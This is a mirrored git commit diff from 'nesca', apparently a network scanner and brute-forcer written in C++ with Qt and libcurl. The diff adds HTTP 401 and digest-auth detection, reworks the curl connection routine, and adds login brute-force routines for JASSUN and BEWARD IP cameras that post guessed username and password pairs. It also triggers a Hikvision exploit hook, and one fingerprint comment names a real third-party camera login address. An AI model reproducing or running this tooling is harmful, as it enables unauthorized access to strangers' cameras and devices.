mirror of
https://github.com/ChronosX88/nesca.git
synced 2024-11-23 18:52:19 +00:00
nesca.pro update
This commit is contained in:
parent
8c910fd88c
commit
86060899de
@ -52,6 +52,32 @@ lopaStr BA::BABrute(const char *ip, const int port, bool digestMode) {
|
|||||||
lopaStr lps = {"UNKNOWN", "", ""};
|
lopaStr lps = {"UNKNOWN", "", ""};
|
||||||
int passCounter = 0;
|
int passCounter = 0;
|
||||||
int res = 0;
|
int res = 0;
|
||||||
|
|
||||||
|
res = Connector::nConnect(ip, port, &buffer);
|
||||||
|
if (res == -2) return lps;
|
||||||
|
|
||||||
|
int isDig = 0;
|
||||||
|
isDig = Utils::isDigest(&buffer);
|
||||||
|
if (isDig == -1) {
|
||||||
|
stt->doEmitionFoundData("<span style=\"color:orange;\">No 401 detected - <a style=\"color:orange;\" href=\"http://" + QString(ip) + ":" + QString::number(port) + "/\">" +
|
||||||
|
QString(ip) + ":" + QString::number(port) + "</a></span>");
|
||||||
|
strcpy(lps.login, "");
|
||||||
|
return lps;
|
||||||
|
}
|
||||||
|
else if (isDig == 1) {
|
||||||
|
if (digestMode != true) {
|
||||||
|
digestMode = true;
|
||||||
|
stt->doEmitionRedFoundData("Digest selector mismatch - <a style=\"color:orange;\" href=\"http://" + QString(ip) + ":" + QString::number(port) + "/\">" +
|
||||||
|
QString(ip) + ":" + QString::number(port) + "</a>");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
if (digestMode != false) {
|
||||||
|
digestMode = false;
|
||||||
|
stt->doEmitionRedFoundData("Digest selector mismatch - <a style=\"color:orange;\" href=\"http://" + QString(ip) + ":" + QString::number(port) + "/\">" +
|
||||||
|
QString(ip) + ":" + QString::number(port) + "</a>");
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
if (commenceHikvisionEx1(ip, port, digestMode)) {
|
if (commenceHikvisionEx1(ip, port, digestMode)) {
|
||||||
stt->doEmitionGreenFoundData("Hikvision exploit triggered! (" +
|
stt->doEmitionGreenFoundData("Hikvision exploit triggered! (" +
|
||||||
|
263
Connector.cpp
263
Connector.cpp
@ -2,6 +2,7 @@
|
|||||||
#include "SSHAuth.h"
|
#include "SSHAuth.h"
|
||||||
#include "Filter.h"
|
#include "Filter.h"
|
||||||
|
|
||||||
|
|
||||||
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
|
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
|
||||||
int _pingMyTarget(const char *ip)
|
int _pingMyTarget(const char *ip)
|
||||||
{
|
{
|
||||||
@ -105,15 +106,33 @@ int my_trace(CURL *handle, curl_infotype type,
|
|||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
//struct MemoryStruct {
|
||||||
|
// char *memory;
|
||||||
|
// size_t size;
|
||||||
|
//};
|
||||||
size_t nWriteCallback(void *contents, size_t size, size_t nmemb, void *userp)
|
size_t nWriteCallback(void *contents, size_t size, size_t nmemb, void *userp)
|
||||||
{
|
{
|
||||||
((std::string*)userp)->append((char*)contents, size * nmemb);
|
size_t realsize = size * nmemb;
|
||||||
Activity += nmemb;
|
if (((std::string*)userp)->size() > 180000) return -1;
|
||||||
int ssz = ((std::string*)userp)->size();
|
((std::string*)userp)->append((char*)contents, realsize);
|
||||||
if(ssz > 180000) {
|
Activity += realsize;
|
||||||
return -1;
|
return realsize;
|
||||||
}
|
|
||||||
return size * nmemb;
|
//struct MemoryStruct *mem = (struct MemoryStruct *)userp;
|
||||||
|
//if (mem->size > 180000) return -1;
|
||||||
|
//size_t realsize = size * nmemb;
|
||||||
|
//mem->memory = (char*)realloc(mem->memory, mem->size + realsize + 1);
|
||||||
|
|
||||||
|
//if (mem->memory == NULL) {
|
||||||
|
// stt->doEmitionRedFoundData("not enough memory (realloc returned NULL)\n");
|
||||||
|
// return 0;
|
||||||
|
//}
|
||||||
|
|
||||||
|
//memcpy(&(mem->memory[mem->size]), contents, realsize);
|
||||||
|
//mem->size += realsize;
|
||||||
|
//mem->memory[mem->size] = 0;
|
||||||
|
//Activity += realsize;
|
||||||
|
//return realsize;
|
||||||
}
|
}
|
||||||
|
|
||||||
int Connector::nConnect(const char* ip, const int port, std::string *buffer,
|
int Connector::nConnect(const char* ip, const int port, std::string *buffer,
|
||||||
@ -121,9 +140,17 @@ int Connector::nConnect(const char* ip, const int port, std::string *buffer,
|
|||||||
const std::vector<std::string> *customHeaders,
|
const std::vector<std::string> *customHeaders,
|
||||||
const std::string *lpString,
|
const std::string *lpString,
|
||||||
bool digestMode){
|
bool digestMode){
|
||||||
buffer->clear();
|
buffer->clear();
|
||||||
|
//buffer->reserve(100000);
|
||||||
|
int res = 0;
|
||||||
CURL *curl = curl_easy_init();
|
CURL *curl = curl_easy_init();
|
||||||
|
|
||||||
|
//struct MemoryStruct chunk;
|
||||||
|
|
||||||
|
//chunk.memory = (char*)malloc(1); /* will be grown as needed by the realloc above */
|
||||||
|
//chunk.size = 0; /* no data at this point */
|
||||||
|
//std::string buffer2;
|
||||||
|
|
||||||
if (curl != NULL)
|
if (curl != NULL)
|
||||||
{
|
{
|
||||||
curl_easy_setopt(curl, CURLOPT_NOSIGNAL, 1L);
|
curl_easy_setopt(curl, CURLOPT_NOSIGNAL, 1L);
|
||||||
@ -143,15 +170,14 @@ int Connector::nConnect(const char* ip, const int port, std::string *buffer,
|
|||||||
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
|
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
|
||||||
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
|
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
|
||||||
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, nWriteCallback);
|
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, nWriteCallback);
|
||||||
|
//curl_easy_setopt(curl, CURLOPT_WRITEDATA, (void *)&chunk);
|
||||||
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
|
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
|
||||||
int proxyPort = std::atoi(gProxyPort);
|
int proxyPort = std::atoi(gProxyPort);
|
||||||
if (strlen(gProxyIP) != 0 && (proxyPort > 0 && proxyPort < 65535)) {
|
if (strlen(gProxyIP) != 0 && (proxyPort > 0 && proxyPort < 65535)) {
|
||||||
curl_easy_setopt(curl, CURLOPT_PROXY, gProxyIP);
|
curl_easy_setopt(curl, CURLOPT_PROXY, gProxyIP);
|
||||||
curl_easy_setopt(curl, CURLOPT_PROXYPORT, proxyPort);
|
curl_easy_setopt(curl, CURLOPT_PROXYPORT, proxyPort);
|
||||||
}
|
}
|
||||||
else {
|
else curl_easy_setopt(curl, CURLOPT_PROXY, "");
|
||||||
curl_easy_setopt(curl, CURLOPT_PROXY, "");
|
|
||||||
}
|
|
||||||
curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L);
|
curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L);
|
||||||
curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, gTimeOut);
|
curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, gTimeOut);
|
||||||
curl_easy_setopt(curl, CURLOPT_TIMEOUT, gTimeOut + 3);
|
curl_easy_setopt(curl, CURLOPT_TIMEOUT, gTimeOut + 3);
|
||||||
@ -161,14 +187,10 @@ int Connector::nConnect(const char* ip, const int port, std::string *buffer,
|
|||||||
if (customHeaders != NULL) {
|
if (customHeaders != NULL) {
|
||||||
|
|
||||||
struct curl_slist *chunk = NULL;
|
struct curl_slist *chunk = NULL;
|
||||||
|
|
||||||
for (auto &ch : *customHeaders) chunk = curl_slist_append(chunk, ch.c_str());
|
for (auto &ch : *customHeaders) chunk = curl_slist_append(chunk, ch.c_str());
|
||||||
|
|
||||||
curl_easy_setopt(curl, CURLOPT_HTTPHEADER, chunk);
|
curl_easy_setopt(curl, CURLOPT_HTTPHEADER, chunk);
|
||||||
}
|
}
|
||||||
|
|
||||||
int res = 0;
|
|
||||||
|
|
||||||
if (lpString != NULL) {
|
if (lpString != NULL) {
|
||||||
curl_easy_setopt(curl, CURLOPT_UNRESTRICTED_AUTH, 1L);
|
curl_easy_setopt(curl, CURLOPT_UNRESTRICTED_AUTH, 1L);
|
||||||
curl_easy_setopt(curl, CURLOPT_FTPLISTONLY, 1L);
|
curl_easy_setopt(curl, CURLOPT_FTPLISTONLY, 1L);
|
||||||
@ -178,6 +200,11 @@ int Connector::nConnect(const char* ip, const int port, std::string *buffer,
|
|||||||
curl_easy_setopt(curl, CURLOPT_HTTPAUTH, (long)CURLAUTH_DIGEST);
|
curl_easy_setopt(curl, CURLOPT_HTTPAUTH, (long)CURLAUTH_DIGEST);
|
||||||
res = curl_easy_perform(curl);
|
res = curl_easy_perform(curl);
|
||||||
|
|
||||||
|
//if (chunk.size > 0){
|
||||||
|
// //buffer2 = std::string(chunk.memory);
|
||||||
|
// buffer->append(chunk.memory, chunk.size);
|
||||||
|
//}
|
||||||
|
|
||||||
if (port != 21 && lpString != NULL) {
|
if (port != 21 && lpString != NULL) {
|
||||||
int pos = Utils::ustrstr(*buffer, "\r\n\r\n");
|
int pos = Utils::ustrstr(*buffer, "\r\n\r\n");
|
||||||
if (pos != -1) {
|
if (pos != -1) {
|
||||||
@ -188,17 +215,27 @@ int Connector::nConnect(const char* ip, const int port, std::string *buffer,
|
|||||||
else res = curl_easy_perform(curl);
|
else res = curl_easy_perform(curl);
|
||||||
}
|
}
|
||||||
else res = curl_easy_perform(curl);
|
else res = curl_easy_perform(curl);
|
||||||
curl_easy_cleanup(curl);
|
|
||||||
|
//if (chunk.size > 0){
|
||||||
|
// //buffer2 = std::string(chunk.memory);
|
||||||
|
// buffer->append(chunk.memory, chunk.size);
|
||||||
|
//}
|
||||||
|
|
||||||
|
|
||||||
if (res == CURLE_OK ||
|
if (res == CURLE_OK ||
|
||||||
(port == 21 && buffer->size() > 0)) {
|
(port == 21 && buffer->size() > 0)) {
|
||||||
if (MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(buffer->c_str()));
|
if (MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(buffer->c_str()));
|
||||||
Activity += buffer->size();
|
Activity += buffer->size();
|
||||||
|
|
||||||
|
curl_easy_cleanup(curl);
|
||||||
return buffer->size();
|
return buffer->size();
|
||||||
} else {
|
} else {
|
||||||
|
|
||||||
|
curl_easy_cleanup(curl);
|
||||||
if (res == 6) return -2;
|
if (res == 6) return -2;
|
||||||
else if (res != 28 &&
|
else if (res != 28 &&
|
||||||
res != 7 &&
|
res != 7 &&
|
||||||
|
res != 13 &&
|
||||||
res != 67 &&
|
res != 67 &&
|
||||||
res != 52 &&
|
res != 52 &&
|
||||||
res != 55 &&
|
res != 55 &&
|
||||||
@ -209,11 +246,6 @@ int Connector::nConnect(const char* ip, const int port, std::string *buffer,
|
|||||||
if (res == 5) {
|
if (res == 5) {
|
||||||
stt->doEmitionRedFoundData("Couldn't resolve proxy. The given proxy host could not be resolved. ");
|
stt->doEmitionRedFoundData("Couldn't resolve proxy. The given proxy host could not be resolved. ");
|
||||||
return -2;
|
return -2;
|
||||||
}
|
|
||||||
else if (res == 13) {
|
|
||||||
stt->doEmitionFoundData("Unknown ftp. (" + QString::number(res) + ") " +
|
|
||||||
QString(ip) + ":" + QString::number(port));
|
|
||||||
return -2;
|
|
||||||
} else if (res == 8) {
|
} else if (res == 8) {
|
||||||
stt->doEmitionFoundData("Strange ftp reply. (" +
|
stt->doEmitionFoundData("Strange ftp reply. (" +
|
||||||
QString::number(res) + ") " + QString(ip) +
|
QString::number(res) + ") " + QString(ip) +
|
||||||
@ -235,14 +267,195 @@ int Connector::nConnect(const char* ip, const int port, std::string *buffer,
|
|||||||
return buffer->size();
|
return buffer->size();
|
||||||
} else return -1;
|
} else return -1;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(buffer->c_str()));
|
||||||
|
return buffer->size();
|
||||||
} else {
|
} else {
|
||||||
stt->doEmitionRedFoundData("Curl error.");
|
stt->doEmitionRedFoundData("Curl error.");
|
||||||
return -1;
|
return -1;
|
||||||
};
|
};
|
||||||
|
|
||||||
if (MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(buffer->c_str()));
|
|
||||||
return buffer->size();
|
|
||||||
}
|
}
|
||||||
|
//
|
||||||
|
//int Connector::nConnect2(const char* ip, const int port, std::string *buffer,
|
||||||
|
// const char *postData,
|
||||||
|
// const std::vector<std::string> *customHeaders,
|
||||||
|
// const std::string *lpString,
|
||||||
|
// bool digestMode)
|
||||||
|
//{
|
||||||
|
// buffer->clear();
|
||||||
|
//
|
||||||
|
// int still_running;
|
||||||
|
// struct timeval timeout;
|
||||||
|
// int res = 0;
|
||||||
|
// CURL *curl = curl_easy_init();
|
||||||
|
//
|
||||||
|
// if (curl != NULL)
|
||||||
|
// {
|
||||||
|
// curl_easy_setopt(curl, CURLOPT_NOSIGNAL, 1L);
|
||||||
|
// if (MapWidgetOpened) {
|
||||||
|
// struct data config;
|
||||||
|
// config.trace_ascii = 1; /* enable ascii tracing */
|
||||||
|
// curl_easy_setopt(curl, CURLOPT_DEBUGFUNCTION, my_trace);
|
||||||
|
// curl_easy_setopt(curl, CURLOPT_DEBUGDATA, &config);
|
||||||
|
// curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L);
|
||||||
|
// }
|
||||||
|
// curl_easy_setopt(curl, CURLOPT_URL, ip);
|
||||||
|
// curl_easy_setopt(curl, CURLOPT_PORT, port);
|
||||||
|
// curl_easy_setopt(curl, CURLOPT_USERAGENT,
|
||||||
|
// "Mozilla/5.0 (X11; Linux x86_64; rv:35.0) Gecko/20100101 Firefox/35.0");
|
||||||
|
// curl_easy_setopt(curl, CURLOPT_HEADER, 1L);
|
||||||
|
// curl_easy_setopt(curl, CURLOPT_AUTOREFERER, 1L);
|
||||||
|
// curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
|
||||||
|
// curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
|
||||||
|
// curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, nWriteCallback);
|
||||||
|
// curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
|
||||||
|
// int proxyPort = std::atoi(gProxyPort);
|
||||||
|
// if (strlen(gProxyIP) != 0 && (proxyPort > 0 && proxyPort < 65535)) {
|
||||||
|
// curl_easy_setopt(curl, CURLOPT_PROXY, gProxyIP);
|
||||||
|
// curl_easy_setopt(curl, CURLOPT_PROXYPORT, proxyPort);
|
||||||
|
// }
|
||||||
|
// else {
|
||||||
|
// curl_easy_setopt(curl, CURLOPT_PROXY, "");
|
||||||
|
// }
|
||||||
|
// curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L);
|
||||||
|
// curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, gTimeOut);
|
||||||
|
// curl_easy_setopt(curl, CURLOPT_TIMEOUT, gTimeOut + 3);
|
||||||
|
//
|
||||||
|
// if (postData != NULL) curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);
|
||||||
|
//
|
||||||
|
// if (customHeaders != NULL) {
|
||||||
|
// struct curl_slist *chunk = NULL;
|
||||||
|
// for (auto &ch : *customHeaders) chunk = curl_slist_append(chunk, ch.c_str());
|
||||||
|
// curl_easy_setopt(curl, CURLOPT_HTTPHEADER, chunk);
|
||||||
|
// }
|
||||||
|
//
|
||||||
|
// if (lpString != NULL) {
|
||||||
|
// curl_easy_setopt(curl, CURLOPT_UNRESTRICTED_AUTH, 1L);
|
||||||
|
// curl_easy_setopt(curl, CURLOPT_FTPLISTONLY, 1L);
|
||||||
|
// curl_easy_setopt(curl, CURLOPT_USERPWD, lpString->c_str());
|
||||||
|
// if (digestMode) curl_easy_setopt(curl, CURLOPT_HTTPAUTH, (long)CURLAUTH_DIGEST);
|
||||||
|
// }
|
||||||
|
//
|
||||||
|
//
|
||||||
|
// CURLM *multi_handle = curl_multi_init();
|
||||||
|
// if (multi_handle == NULL) stt->doEmitionRedFoundData("curl_multi_init == NULL!");
|
||||||
|
// curl_multi_add_handle(multi_handle, curl);
|
||||||
|
//
|
||||||
|
// do { res = curl_multi_perform(multi_handle, &still_running); }
|
||||||
|
// while (res == CURLM_CALL_MULTI_PERFORM);
|
||||||
|
//
|
||||||
|
// while (still_running) {
|
||||||
|
// fd_set fdread;
|
||||||
|
// fd_set fdwrite;
|
||||||
|
// fd_set fdexcep;
|
||||||
|
// int maxfd = -1;
|
||||||
|
//
|
||||||
|
// FD_ZERO(&fdread);
|
||||||
|
// FD_ZERO(&fdwrite);
|
||||||
|
// FD_ZERO(&fdexcep);
|
||||||
|
//
|
||||||
|
// timeout.tv_sec = gTimeOut;
|
||||||
|
// timeout.tv_usec = 0;
|
||||||
|
//
|
||||||
|
// curl_multi_fdset(multi_handle, &fdread, &fdwrite, &fdexcep, &maxfd);
|
||||||
|
//
|
||||||
|
//#ifdef _WIN32
|
||||||
|
// Sleep(100);
|
||||||
|
//#else
|
||||||
|
// struct timeval wait = { 0, 100 * 1000 }; /* 100ms */
|
||||||
|
// rc = select(0, NULL, NULL, NULL, &wait);
|
||||||
|
//#endif
|
||||||
|
//
|
||||||
|
// /* get file descriptors from the transfers */
|
||||||
|
// switch (select(maxfd + 1, &fdread, &fdwrite, &fdexcep, &timeout)) {
|
||||||
|
// case -1:
|
||||||
|
// /* select error */
|
||||||
|
// still_running = 0;
|
||||||
|
// stt->doEmitionRedFoundData("select() returns error, this is badness");
|
||||||
|
// break;
|
||||||
|
// case 0:
|
||||||
|
// default:
|
||||||
|
// /* timeout or readable/writable sockets */
|
||||||
|
// do
|
||||||
|
// {
|
||||||
|
// res = curl_multi_perform(multi_handle, &still_running);
|
||||||
|
// } while (res == CURLM_CALL_MULTI_PERFORM);
|
||||||
|
// break;
|
||||||
|
// }
|
||||||
|
// }
|
||||||
|
//
|
||||||
|
// curl_multi_remove_handle(multi_handle, curl);
|
||||||
|
// curl_multi_cleanup(multi_handle);
|
||||||
|
// curl_easy_cleanup(curl);
|
||||||
|
//
|
||||||
|
// if (res == CURLE_OK ||
|
||||||
|
// (port == 21 && buffer->size() > 0)) {
|
||||||
|
//
|
||||||
|
// if (digestMode)
|
||||||
|
// {
|
||||||
|
// if (port != 21 && lpString != NULL) {
|
||||||
|
// int pos = Utils::ustrstr(*buffer, "\r\n\r\n");
|
||||||
|
// if (pos != -1) {
|
||||||
|
// *buffer = buffer->substr(pos + 4);
|
||||||
|
// }
|
||||||
|
// }
|
||||||
|
// }
|
||||||
|
//
|
||||||
|
// if (MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(buffer->c_str()));
|
||||||
|
// Activity += buffer->size();
|
||||||
|
// return buffer->size();
|
||||||
|
// }
|
||||||
|
// else {
|
||||||
|
// if (res == 6) return -2;
|
||||||
|
// else if (res != 28 &&
|
||||||
|
// res != 7 &&
|
||||||
|
// res != 67 &&
|
||||||
|
// res != 52 &&
|
||||||
|
// res != 55 &&
|
||||||
|
// res != 56 &&
|
||||||
|
// res != 35 &&
|
||||||
|
// res != 19 &&
|
||||||
|
// res != 23) {
|
||||||
|
// if (res == 5) {
|
||||||
|
// stt->doEmitionRedFoundData("Couldn't resolve proxy. The given proxy host could not be resolved. ");
|
||||||
|
// return -2;
|
||||||
|
// }
|
||||||
|
// else if (res == 13) {
|
||||||
|
// stt->doEmitionFoundData("Unknown ftp. (" + QString::number(res) + ") " +
|
||||||
|
// QString(ip) + ":" + QString::number(port));
|
||||||
|
// return -2;
|
||||||
|
// }
|
||||||
|
// else if (res == 8) {
|
||||||
|
// stt->doEmitionFoundData("Strange ftp reply. (" +
|
||||||
|
// QString::number(res) + ") " + QString(ip) +
|
||||||
|
// ":" + QString::number(port));
|
||||||
|
// return -2;
|
||||||
|
// }
|
||||||
|
// else if (res == 18) {
|
||||||
|
// stt->doEmitionFoundData("Inappropriate file size. (" +
|
||||||
|
// QString::number(res) + ") " + QString(ip) +
|
||||||
|
// ":" + QString::number(port));
|
||||||
|
// return -2;
|
||||||
|
// }
|
||||||
|
// else stt->doEmitionRedFoundData("CURL error: (" + QString::number(res) + ") " +
|
||||||
|
// QString(ip) + ":" + QString::number(port));
|
||||||
|
// }
|
||||||
|
//
|
||||||
|
// if (res == 23 && buffer->size() > 0) {
|
||||||
|
// if (MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString("[OVERFLOW]"));
|
||||||
|
// return buffer->size();
|
||||||
|
// }
|
||||||
|
// else return -1;
|
||||||
|
// }
|
||||||
|
//
|
||||||
|
// if (MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(buffer->c_str()));
|
||||||
|
// return buffer->size();
|
||||||
|
// }
|
||||||
|
// else {
|
||||||
|
// stt->doEmitionRedFoundData("Curl error.");
|
||||||
|
// return -1;
|
||||||
|
// };
|
||||||
|
//}
|
||||||
|
|
||||||
int Connector::connectToPort(char* ip, int port)
|
int Connector::connectToPort(char* ip, int port)
|
||||||
{
|
{
|
||||||
|
@ -18,6 +18,11 @@ public:
|
|||||||
const std::vector<std::string> *customHeaders = NULL,
|
const std::vector<std::string> *customHeaders = NULL,
|
||||||
const std::string *lpString = NULL,
|
const std::string *lpString = NULL,
|
||||||
bool digestMode = false);
|
bool digestMode = false);
|
||||||
|
//static int nConnect2(const char* ip, const int port, std::string *buffer,
|
||||||
|
// const char *postData = NULL,
|
||||||
|
// const std::vector<std::string> *customHeaders = NULL,
|
||||||
|
// const std::string *lpString = NULL,
|
||||||
|
// bool digestMode = false);
|
||||||
static int connectToPort(char *ip, int port);
|
static int connectToPort(char *ip, int port);
|
||||||
};
|
};
|
||||||
#endif // CONNECTOR_H
|
#endif // CONNECTOR_H
|
||||||
|
23
IPCAuth.cpp
23
IPCAuth.cpp
@ -70,12 +70,20 @@ lopaStr IPC::IPCBrute(const char *ip, int port, char *SPEC)
|
|||||||
{
|
{
|
||||||
negVector.push_back("Not logged in");
|
negVector.push_back("Not logged in");
|
||||||
}
|
}
|
||||||
|
else if (strcmp(SPEC, "JASSUN") == 0)
|
||||||
|
{
|
||||||
|
negVector.push_back("Log in failed");
|
||||||
|
}
|
||||||
|
else if (strcmp(SPEC, "BEWARD") == 0)
|
||||||
|
{
|
||||||
|
negVector.push_back("/error.asp");
|
||||||
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
stt->doEmitionRedFoundData("[_IPCameraBrute] No \"SPEC\" specified!");
|
stt->doEmitionRedFoundData("[_IPCameraBrute] No \"SPEC\" specified!");
|
||||||
return lps;
|
return lps;
|
||||||
};
|
};
|
||||||
|
|
||||||
int res = 0;
|
int res = 0;
|
||||||
for(int i = 0; i < MaxLogin; ++i)
|
for(int i = 0; i < MaxLogin; ++i)
|
||||||
{
|
{
|
||||||
@ -154,7 +162,18 @@ lopaStr IPC::IPCBrute(const char *ip, int port, char *SPEC)
|
|||||||
sprintf(request, "%s:%d/login.html", ip, port);
|
sprintf(request, "%s:%d/login.html", ip, port);
|
||||||
sprintf(postData, "username=%s&password=%s&Redir=/", login, pass);
|
sprintf(postData, "username=%s&password=%s&Redir=/", login, pass);
|
||||||
}
|
}
|
||||||
|
else if (strcmp(SPEC, "JASSUN") == 0)
|
||||||
|
{
|
||||||
|
doPost = true;
|
||||||
|
sprintf(request, "%s:%d/Login.htm", ip, port);
|
||||||
|
sprintf(postData, "command=login&username=%s&password=%s", login, pass);
|
||||||
|
}
|
||||||
|
else if (strcmp(SPEC, "BEWARD") == 0)
|
||||||
|
{
|
||||||
|
sprintf(request, "%s:%d/webs/httplogin?username=%s&password=%s&UserID=45637757",
|
||||||
|
ip, port, login, pass);
|
||||||
|
}
|
||||||
|
|
||||||
std::string buffer;
|
std::string buffer;
|
||||||
if(doPost) res = Connector::nConnect(request, port, &buffer, postData);
|
if(doPost) res = Connector::nConnect(request, port, &buffer, postData);
|
||||||
else res = Connector::nConnect(request, port, &buffer);
|
else res = Connector::nConnect(request, port, &buffer);
|
||||||
|
@ -1285,7 +1285,7 @@ void MainStarter::runAuxiliaryThreads() {
|
|||||||
void MainStarter::start(const char* targets, const char* ports) {
|
void MainStarter::start(const char* targets, const char* ports) {
|
||||||
|
|
||||||
curl_global_init(CURL_GLOBAL_ALL);
|
curl_global_init(CURL_GLOBAL_ALL);
|
||||||
|
|
||||||
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
|
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
|
||||||
bool res = CreateDirectoryA(RESULT_DIR_NAME, NULL);
|
bool res = CreateDirectoryA(RESULT_DIR_NAME, NULL);
|
||||||
#else
|
#else
|
||||||
|
@ -84,7 +84,6 @@ int _sshConnect(const char *user, const char *pass, const char *host, int port)
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
curl_easy_cleanup(curl);
|
|
||||||
++ssh;
|
++ssh;
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
@ -28,7 +28,7 @@ void Threader::cleanUp() {
|
|||||||
std::unique_lock<std::mutex> lk(m);
|
std::unique_lock<std::mutex> lk(m);
|
||||||
lk.unlock();
|
lk.unlock();
|
||||||
lk.release();
|
lk.release();
|
||||||
Sleep(1500);
|
Sleep(200);
|
||||||
threadId = 0;
|
threadId = 0;
|
||||||
std::queue<std::string> empty = {};
|
std::queue<std::string> empty = {};
|
||||||
std::swap(ipQueue, empty);
|
std::swap(ipQueue, empty);
|
||||||
|
21
Utils.cpp
21
Utils.cpp
@ -1,6 +1,27 @@
|
|||||||
#include "Utils.h"
|
#include "Utils.h"
|
||||||
#include <sstream>
|
#include <sstream>
|
||||||
|
|
||||||
|
int Utils::isDigest(const std::string *buffer) {
|
||||||
|
if (Utils::ustrstr(buffer, "401 authorization") != -1
|
||||||
|
|| Utils::ustrstr(buffer, "401 unauthorized") != -1
|
||||||
|
|| (Utils::ustrstr(buffer, "www-authenticate") != -1
|
||||||
|
&& Utils::ustrstr(buffer, "401 ") != -1
|
||||||
|
)
|
||||||
|
|| Utils::ustrstr(buffer, "401 unauthorized access denied") != -1
|
||||||
|
|| Utils::ustrstr(buffer, "401 unauthorised") != -1
|
||||||
|
|| (Utils::ustrstr(buffer, "www-authenticate") != -1
|
||||||
|
&& Utils::ustrstr(buffer, " 401\r\n") != -1
|
||||||
|
)
|
||||||
|
) {
|
||||||
|
if (Utils::ustrstr(buffer, "digest realm") != -1
|
||||||
|
&& Utils::ustrstr(buffer, "basic realm") == -1) {
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
else return 0;
|
||||||
|
};
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
std::vector<std::string> Utils::splitToStrVector(const std::string &s, char delim) {
|
std::vector<std::string> Utils::splitToStrVector(const std::string &s, char delim) {
|
||||||
std::vector<std::string> elems;
|
std::vector<std::string> elems;
|
||||||
std::stringstream ss(s);
|
std::stringstream ss(s);
|
||||||
|
2
Utils.h
2
Utils.h
@ -24,6 +24,8 @@ private:
|
|||||||
|
|
||||||
class Utils {
|
class Utils {
|
||||||
public:
|
public:
|
||||||
|
static int isDigest(const std::string *buffer);
|
||||||
|
|
||||||
// find substring (case insensitive)
|
// find substring (case insensitive)
|
||||||
template<typename T> static int ustrstr(const T& str1,
|
template<typename T> static int ustrstr(const T& str1,
|
||||||
const T& str2,
|
const T& str2,
|
||||||
|
33
finder.cpp
33
finder.cpp
@ -272,6 +272,10 @@ int globalSearchPrnt(const std::string *buff)
|
|||||||
|
|
||||||
int sharedDetector(const char * ip, int port, const std::string *buffcpy, const char *cp) {
|
int sharedDetector(const char * ip, int port, const std::string *buffcpy, const char *cp) {
|
||||||
|
|
||||||
|
int isDig = Utils::isDigest(buffcpy);
|
||||||
|
if (isDig == 1) return 101;
|
||||||
|
else if (isDig == 0) return 1;
|
||||||
|
|
||||||
if(Utils::ustrstr(buffcpy, "401 authorization") != -1
|
if(Utils::ustrstr(buffcpy, "401 authorization") != -1
|
||||||
|| Utils::ustrstr(buffcpy, "401 unauthorized") != -1
|
|| Utils::ustrstr(buffcpy, "401 unauthorized") != -1
|
||||||
|| (Utils::ustrstr(buffcpy, "www-authenticate") != -1
|
|| (Utils::ustrstr(buffcpy, "www-authenticate") != -1
|
||||||
@ -381,9 +385,15 @@ int sharedDetector(const char * ip, int port, const std::string *buffcpy, const
|
|||||||
|| Utils::ustrstr(buffcpy, "/app/live/sim/single.asp") != -1)
|
|| Utils::ustrstr(buffcpy, "/app/live/sim/single.asp") != -1)
|
||||||
) return 50; //Network Video System
|
) return 50; //Network Video System
|
||||||
if (Utils::ustrstr(buffcpy, "MASPRO DENKOH") != -1) return 51; //MASPRO
|
if (Utils::ustrstr(buffcpy, "MASPRO DENKOH") != -1) return 51; //MASPRO
|
||||||
if (Utils::ustrstr(buffcpy, "webcamXP") != -1
|
if (Utils::ustrstr(buffcpy, "webcamXP") != -1
|
||||||
&& Utils::ustrstr(buffcpy, "a valid username/password") != -1
|
&& Utils::ustrstr(buffcpy, "a valid username/password") != -1
|
||||||
) return 52; //Webcamxp5
|
) return 52; //Webcamxp5
|
||||||
|
if (Utils::ustrstr(buffcpy, "NetSuveillance") != -1
|
||||||
|
&& Utils::ustrstr(buffcpy, "l_bgm.gif") != -1
|
||||||
|
) return 53; //Jassun (http://176.32.180.42/Login.htm)
|
||||||
|
